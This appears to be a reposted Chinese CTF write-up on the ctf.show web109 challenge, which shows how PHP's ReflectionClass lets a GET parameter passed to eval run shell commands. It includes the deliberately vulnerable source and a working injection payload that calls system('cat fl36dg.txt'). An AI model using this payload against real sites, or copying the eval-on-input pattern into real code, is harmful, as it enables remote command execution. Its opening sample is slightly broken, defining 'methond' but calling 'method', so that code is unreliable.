编程语言
首页 > 编程语言> > CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令

CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令

作者:互联网

文章目录

一、简述

ReflectionClass反射类在PHP5新加入,它可以与已定义的类建立映射关系,通过反射类可以对类操作

//定义一个类
class fuc{
static
function methond(){
	echo 'Hello World!';
	}
}
//建立fuc类的反射类
$rc = new ReflectionClass('fuc');
//通过反射类实例化fuc类
$fuc = $rc->newInstance();
//执行类方法
$fuc->method();

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

二、PHP源码

题目来源:ctf.show——web入门_web109

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-29 22:02:34 

*/ 


highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

} 

?> 

三、方法及原理

已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,这里可以使用反射类new ReflectionClass()

payload:?v1=ReflectionClass&v2=system('cat fl36dg.txt')

当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

<?php
	error_reporting(0);
	echo new ReflectionClass(system('ls')());
?>

>>index.php

标签:Web,ReflectionClass,反射,v2,v1,CTF,fuc,PHP
来源: https://blog.csdn.net/Xxy605/article/details/110109147